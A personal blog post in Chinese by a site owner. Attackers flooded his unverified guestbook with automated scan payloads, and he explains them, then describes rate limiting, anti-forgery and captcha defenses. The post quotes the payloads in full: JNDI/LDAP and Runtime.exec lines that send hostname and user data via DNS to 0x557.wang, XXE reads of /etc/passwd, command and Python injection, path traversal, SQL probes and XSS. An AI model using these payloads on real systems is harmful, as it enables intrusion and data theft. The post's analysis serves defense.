网站被居心不良的人看上了

ZAIN 2024-06-13 11:13:40 732


情况介绍

     之前一直在加班,没时间来维护网站,作为一个合格的牛马,肯定是以公司的工作为主,闲暇时间再来弄自己的事情。本来留言板是为了方便接受意见,所以没有添加验证,本人访问别人网站的时候,也挺烦要写N多信息。不经意点开留言板看看有什么收获时,全是一些乱七八糟的东西,应该是被人动了手脚了,因为忙就简单的看了一下里面的内容,也百度了一下相关信息,应该不会不会把网站搞坏了,而且网站也只有几篇文章,就将留言隐藏了,没有做任何处理,反正数据库中有保存,就先留着,有时间在细细研究一番。

     过了一段时间又出现之前的内容了,真是“叔能忍,婶不能忍”啊,乘着放假抽一天时间来处理一下。大致梳理了一下,在ChatGpt上问了一下,相关代码的意思,有多个可疑代码,下面几个就是有可能对服务器造成影响的:

可疑代码一:

现将一部分带展示出来,一些代码数据库中有六百多条数据,么一行就占一条记录,而且记录时间只相差秒级,应该使用软件实现的,只能大概看看什么意思,避免相应漏洞

${script:JavaScript:java.lang.Runtime.getRuntime().exec("nslookup $USER.%OS%.k4nyh8lf.dnsquery.0x557.wang");}
${jndi:ldap://0x557.wang:11389/3bp4g09b/${hostName}}${jndi:ldap://127.0.0.1:${java:runtime}/badClassName}
sssextt882
<?xml version="1.0"?><!DOCTYPE root[<!ENTITY run SYSTEM "file:///etc/passwd">]><root>&run;</root>
 oRder by 34
%df'
/etc/./passwd
|echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #' &echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #|" & echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #

WebScanCustomInjectedHeader: Injected_by_Anymous

%df"
sssextt882'"!@$[]~`^&*();288ttxesss
'"[]()
<?xml version="1.0"?><!DOCTYPE root[<!ENTITY run SYSTEM "file:///c:/windows/win.ini">]><root>&run;</root>
 oRder by 1
file:/c:/windows/win.ini
;echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #' &echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #|" & echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #
aa
WebScanCustomInjectedHeader: Injected_by_Anymous

'">*/--><script >alert(67938)</script>
<!DOCTYPE message [      <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">      <!ENTITY % ISOamsa '          <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">          <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">          &#x25;eval;          &#x25;error;          '>      %local_dtd;  ]>  <message></message>
 oRder by 0

 

${script:JavaScript:java.lang.Runtime.getRuntime().exec("nslookup $USER.%OS%.k4nyh8lf.dnsquery.0x557.wang");}

这行代码试图通过Java的Runtime类执行一个命令,进行DNS查询,把用户和操作系统的信息发送到一个恶意域名。

${jndi:ldap://0x557.wang:11389/3bp4g09b/${hostName}}${jndi:ldap://127.0.0.1:${java:runtime}/badClassName}

这行代码利用JNDI(Java命名和目录接口)注入,通过LDAP请求加载远程类,可能试图在目标机器上执行恶意代码。

/etc/./passwd
file:/c:/windows/win.ini

这些路径尝试访问系统上的敏感文件,如Linux上的/etc/passwd和Windows上的win.ini。

 这些代码片段展示了多种常见的安全漏洞利用手段,包括代码执行、JNDI注入、SQL注入、命令注入、XXE攻击和JavaScript注入。

可以代码二
 nslookup ank4nmth$((5938*2216)).dnsquery.0x557.wang | nslookup ank4nmth%CMDEXTVERSION%.dnsquery.0x557.wang ||a #
http://0x557.wang:10000/webscantest_alert.html
 oRder by 1-- 
WEB-INF/web.xml
${201408120-20120702}
'"<taginjaous>sec9
`nslookup ank4nmth$((5938*2216)).dnsquery.0x557.wang | nslookup ank4nmth%CMDEXTVERSION%.dnsquery.0x557.wang ||a #`

 oRder by 0-- 
stxtest6a529
WEB-INF\web.xml
${32229339*5+20140723}
&ping -nc 10 127.0.0.1

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('cphsed5c.dnsquery.0x557.wang')
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
|ping -nc 10 127.0.0.1 ||a #

<script>alert`70170`</script>
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("ufk6i8p8.dnsquery.0x557.wang)+'
../../../../../../../windows/win.ini
  ping -nc 10 127.0.0.1 ||a #
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('grf74qj0.dnsquery.0x557.wang')+"
/../../../../../../../windows/win.ini
`ping -nc 10 127.0.0.1 ||a #`
 oRder by 34#
stxtest6a529scriptx
nslookup ank4nmth$((5938*2216)).dnsquery.0x557.wang | nslookup ank4nmth%CMDEXTVERSION%.dnsquery.0x557.wang ||a #

这个命令通过nslookup执行DNS查询,将计算结果(5938乘以2216)插入到域名中,试图通过DNS服务器进行信息泄露或验证命令执行的成功与否。

http://0x557.wang:10000/webscantest_alert.html

这是一个指向恶意网站的链接,可能用于钓鱼攻击或进一步的攻击尝试。

WEB-INF/web.xml
../../../../../../../windows/win.ini

这些路径试图通过路径遍历访问系统文件,泄露敏感信息,例如Web应用配置文件WEB-INF/web.xml和Windows系统配置文件win.ini。

这些攻击对abp框架项目来说影像不大,项目数据传输都有DTO,SQL注入比较难。请求系统配置文件也不太可能,整个web的权限只有wwwroot文件夹,其他的都是禁止访问的,这个文件夹放的都是网站静态资源,所以也没有什么。之前看了一篇文章《Log4shell漏洞研究及其挖矿案例分析

Apache Log4j是Apache的一个开源项目,是一个基于Java的日志记录工具,因其卓越的性能,使用极其广泛。近日该组件编号为CVE-2021-44228的漏洞Log4shell被披露,大量常用框架已经被发现存在该漏洞,本漏洞触发条件极其简单,且无需特殊配置,风险极大。

该漏洞归根结底是一个非常简单的 JNDI 注入缺陷,其原理在于log4j在执行lookup()时,允许开发者通过一些协议去读取本地环境变量中的配置,但是在实现中未对输入进行严格判断。

在默认情况下,特定jdk版本的JNDI支持两种特殊的协议:RMI和LDAP。在这两种情况下,lookup() 调用后会返回一个Java 对象。但是攻击者可以通过Factory间接构造一个JNDI 引用。可以从远程URL的代码库加载恶意class。

看文章的情况,还是有点和我遇到的情况类似,不过我没用java,自然也避免了这个问题。虽然C#开源了,目前还是习惯用windows服务器,发布网站也是使用IIS。

处理

(1)目前的情况,我在留言板加了IP过滤,同一个IP短时间多次访问,则无法提交数据。

(2)开启AbpAntiForgery 跨域攻击保护,之前为了调试方便关闭了,现在还是开启来,不过逐步开始。

(3)留言板提交添加了验证码(有时间再优化一下,根据提交次数显示验证码)。

 

 

2024/6/13 上午11:13:40